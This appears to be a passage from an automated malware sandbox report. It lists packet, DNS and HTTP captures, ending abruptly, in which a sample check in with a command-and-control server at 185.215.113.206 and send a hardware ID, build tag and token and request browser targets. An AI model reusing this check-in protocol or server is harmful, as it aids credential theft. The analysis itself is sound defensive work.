Nov 11, 2024 21:59:29.661293983 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.661313057 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.661315918 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.661325932 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.661331892 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.661345005 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.661358118 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.661362886 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.661370039 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.661391973 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.661392927 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.661405087 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.661406994 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.661417007 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.661420107 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.661427975 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.661441088 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.661443949 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.661454916 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.661454916 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.661465883 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.661469936 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.661478043 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.661485910 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.661489010 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.661500931 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.661509991 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.661513090 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.661520958 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.661537886 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.661556005 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.691875935 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.691886902 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.691896915 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.691924095 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.691956997 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.691977978 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.691989899 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.691999912 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.692011118 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.692022085 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.692023039 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.692034960 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.692044973 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.692045927 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.692060947 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.692090988 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.724023104 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.724076986 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.724088907 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.724100113 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.724106073 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.724112034 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.724128008 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.724164963 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.749279022 CET	58858	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:29.749330997 CET	443	58858	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:29.749389887 CET	58858	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:29.749735117 CET	58858	443	192.168.2.5	23.57.90.101
Nov 11, 2024 21:59:29.749749899 CET	443	58858	23.57.90.101	192.168.2.5
Nov 11, 2024 21:59:29.756141901 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.756154060 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.756165981 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.756190062 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.756195068 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.756201982 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.756216049 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.756222963 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.756236076 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.756247997 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.756252050 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.756259918 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.756290913 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.756314039 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.756341934 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.756359100 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.756371021 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.756381989 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.756386995 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.756402016 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.756402969 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.756414890 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.756426096 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.756445885 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.757247925 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.757260084 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.757282972 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.757293940 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.757297993 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.757299900 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.757308006 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.757335901 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.757355928 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.757394075 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.757395029 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.757405996 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.757440090 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.757442951 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.757452011 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.757483959 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.757496119 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.757508039 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.757527113 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.757529020 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.757555008 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.757574081 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.757575035 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.757586002 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.757599115 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.757607937 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.757622957 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.757627010 CET	58846	80	192.168.2.5	185.215.113.16
Nov 11, 2024 21:59:29.757635117 CET	80	58846	185.215.113.16	192.168.2.5
Nov 11, 2024 21:59:29.757646084 CET	58846	80	192.168.2.5	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 11, 2024 21:59:04.881341934 CET	192.168.2.5	1.1.1.1	0xc4dd	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 21:59:04.881710052 CET	192.168.2.5	1.1.1.1	0xee75	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 11, 2024 21:59:07.447705030 CET	192.168.2.5	1.1.1.1	0x1e4b	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 21:59:07.448005915 CET	192.168.2.5	1.1.1.1	0xb072	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 11, 2024 21:59:08.440151930 CET	192.168.2.5	1.1.1.1	0xb151	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 21:59:08.440315008 CET	192.168.2.5	1.1.1.1	0xfa25	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 11, 2024 21:59:14.956099987 CET	192.168.2.5	1.1.1.1	0x8d30	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 21:59:14.956479073 CET	192.168.2.5	1.1.1.1	0xfd03	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 11, 2024 21:59:15.794153929 CET	192.168.2.5	1.1.1.1	0xb230	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 11, 2024 21:59:15.794424057 CET	192.168.2.5	1.1.1.1	0x643e	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 11, 2024 21:59:17.098619938 CET	192.168.2.5	1.1.1.1	0x22a	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 21:59:17.098814011 CET	192.168.2.5	1.1.1.1	0xc39f	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 11, 2024 21:59:17.108673096 CET	192.168.2.5	1.1.1.1	0x10c4	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 21:59:17.109267950 CET	192.168.2.5	1.1.1.1	0x92de	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 11, 2024 21:59:17.123636007 CET	192.168.2.5	1.1.1.1	0x46e7	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 21:59:17.123758078 CET	192.168.2.5	1.1.1.1	0x6904	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 11, 2024 21:59:17.124277115 CET	192.168.2.5	1.1.1.1	0xaa1c	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 21:59:17.124547005 CET	192.168.2.5	1.1.1.1	0xf82c	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 11, 2024 21:59:18.307035923 CET	192.168.2.5	1.1.1.1	0x551a	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 21:59:18.307296991 CET	192.168.2.5	1.1.1.1	0x69b3	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 11, 2024 21:59:19.113948107 CET	192.168.2.5	1.1.1.1	0x716d	Standard query (0)	assets2.msn.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 21:59:19.114223003 CET	192.168.2.5	1.1.1.1	0x8450	Standard query (0)	assets2.msn.com	65	IN (0x0001)	false
Nov 11, 2024 21:59:19.586107969 CET	192.168.2.5	1.1.1.1	0x606d	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 21:59:19.586249113 CET	192.168.2.5	1.1.1.1	0x422b	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 11, 2024 21:59:19.586596012 CET	192.168.2.5	1.1.1.1	0x3184	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 21:59:19.586714983 CET	192.168.2.5	1.1.1.1	0xda5f	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 11, 2024 21:59:19.593307972 CET	192.168.2.5	1.1.1.1	0xdff4	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 21:59:19.593529940 CET	192.168.2.5	1.1.1.1	0xc18c	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 11, 2024 21:59:04.888427973 CET	1.1.1.1	192.168.2.5	0xee75	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 11, 2024 21:59:04.889388084 CET	1.1.1.1	192.168.2.5	0xc4dd	No error (0)	www.google.com		142.250.185.100	A (IP address)	IN (0x0001)	false
Nov 11, 2024 21:59:07.455667973 CET	1.1.1.1	192.168.2.5	0xb072	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 21:59:07.456541061 CET	1.1.1.1	192.168.2.5	0x1e4b	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 21:59:07.456541061 CET	1.1.1.1	192.168.2.5	0x1e4b	No error (0)	plus.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Nov 11, 2024 21:59:08.446990013 CET	1.1.1.1	192.168.2.5	0xb151	No error (0)	play.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Nov 11, 2024 21:59:14.962898970 CET	1.1.1.1	192.168.2.5	0x8d30	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 21:59:14.965744019 CET	1.1.1.1	192.168.2.5	0xfd03	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 21:59:14.968818903 CET	1.1.1.1	192.168.2.5	0xeaa5	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 21:59:14.968828917 CET	1.1.1.1	192.168.2.5	0x41e	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 21:59:14.968828917 CET	1.1.1.1	192.168.2.5	0x41e	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 11, 2024 21:59:15.801520109 CET	1.1.1.1	192.168.2.5	0x643e	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 21:59:15.803338051 CET	1.1.1.1	192.168.2.5	0xb230	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 21:59:17.105159998 CET	1.1.1.1	192.168.2.5	0x22a	No error (0)	sb.scorecardresearch.com		18.65.39.56	A (IP address)	IN (0x0001)	false
Nov 11, 2024 21:59:17.105159998 CET	1.1.1.1	192.168.2.5	0x22a	No error (0)	sb.scorecardresearch.com		18.65.39.29	A (IP address)	IN (0x0001)	false
Nov 11, 2024 21:59:17.105159998 CET	1.1.1.1	192.168.2.5	0x22a	No error (0)	sb.scorecardresearch.com		18.65.39.28	A (IP address)	IN (0x0001)	false
Nov 11, 2024 21:59:17.105159998 CET	1.1.1.1	192.168.2.5	0x22a	No error (0)	sb.scorecardresearch.com		18.65.39.70	A (IP address)	IN (0x0001)	false
Nov 11, 2024 21:59:17.116157055 CET	1.1.1.1	192.168.2.5	0x10c4	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 21:59:17.116167068 CET	1.1.1.1	192.168.2.5	0x92de	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 21:59:17.130209923 CET	1.1.1.1	192.168.2.5	0x46e7	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 21:59:17.130323887 CET	1.1.1.1	192.168.2.5	0x6904	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 21:59:17.130954027 CET	1.1.1.1	192.168.2.5	0xaa1c	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 21:59:17.131448030 CET	1.1.1.1	192.168.2.5	0xf82c	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 21:59:19.074779034 CET	1.1.1.1	192.168.2.5	0x551a	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 21:59:19.074779034 CET	1.1.1.1	192.168.2.5	0x551a	No error (0)	googlehosted.l.googleusercontent.com		142.250.186.161	A (IP address)	IN (0x0001)	false
Nov 11, 2024 21:59:19.074867010 CET	1.1.1.1	192.168.2.5	0x69b3	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 21:59:19.121751070 CET	1.1.1.1	192.168.2.5	0x8450	No error (0)	assets2.msn.com	assets2.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 21:59:19.121865988 CET	1.1.1.1	192.168.2.5	0x716d	No error (0)	assets2.msn.com	assets2.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 21:59:19.593072891 CET	1.1.1.1	192.168.2.5	0x606d	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 21:59:19.593072891 CET	1.1.1.1	192.168.2.5	0x606d	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 21:59:19.593086004 CET	1.1.1.1	192.168.2.5	0x422b	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 11, 2024 21:59:19.593444109 CET	1.1.1.1	192.168.2.5	0xda5f	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 11, 2024 21:59:19.593611956 CET	1.1.1.1	192.168.2.5	0x3184	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 21:59:19.593611956 CET	1.1.1.1	192.168.2.5	0x3184	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 21:59:19.599914074 CET	1.1.1.1	192.168.2.5	0xdff4	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 21:59:19.599914074 CET	1.1.1.1	192.168.2.5	0xdff4	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 21:59:19.600228071 CET	1.1.1.1	192.168.2.5	0xc18c	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 11, 2024 21:59:20.162101984 CET	1.1.1.1	192.168.2.5	0x67fa	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 21:59:20.194303036 CET	1.1.1.1	192.168.2.5	0xb23a	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 21:59:20.194303036 CET	1.1.1.1	192.168.2.5	0xb23a	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	6196	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 21:58:59.563760996 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 21:59:00.205130100 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 21:59:00.208383083 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDGIJJDGCBKFIDHIEBKE Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 36 30 41 46 37 30 42 32 39 32 38 39 39 32 32 34 37 36 36 34 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 2d 2d 0d 0a Data Ascii: ------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="hwid"660AF70B2928992247664------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="build"mars------HDGIJJDGCBKFIDHIEBKE--
Nov 11, 2024 21:59:00.421907902 CET	407	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:00 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 7a 49 78 59 6a 59 31 4d 44 49 35 4e 44 55 31 4f 54 41 33 4e 54 52 69 4f 57 56 6b 5a 54 64 68 59 6a 45 34 4e 7a 6b 35 4d 32 55 77 4e 47 51 30 4e 32 55 78 5a 54 6c 69 4e 6a 4d 78 59 6a 4d 31 5a 54 68 6a 4d 47 4d 31 4d 47 49 30 4f 54 4a 69 59 6a 41 33 59 57 4e 6a 4d 32 56 6d 4d 7a 4d 30 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MzIxYjY1MDI5NDU1OTA3NTRiOWVkZTdhYjE4Nzk5M2UwNGQ0N2UxZTliNjMxYjM1ZThjMGM1MGI0OTJiYjA3YWNjM2VmMzM0fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 11, 2024 21:59:00.423283100 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDGCGCFHIEHIDGDBAAE Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 32 31 62 36 35 30 32 39 34 35 35 39 30 37 35 34 62 39 65 64 65 37 61 62 31 38 37 39 39 33 65 30 34 64 34 37 65 31 65 39 62 36 33 31 62 33 35 65 38 63 30 63 35 30 62 34 39 32 62 62 30 37 61 63 63 33 65 66 33 33 34 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 2d 2d 0d 0a Data Ascii: ------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="token"321b6502945590754b9ede7ab187993e04d47e1e9b631b35e8c0c50b492bb07acc3ef334------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="message"browsers------EGDGCGCFHIEHIDGDBAAE--
Nov 11, 2024 21:59:00.625672102 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 20:59:00 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: 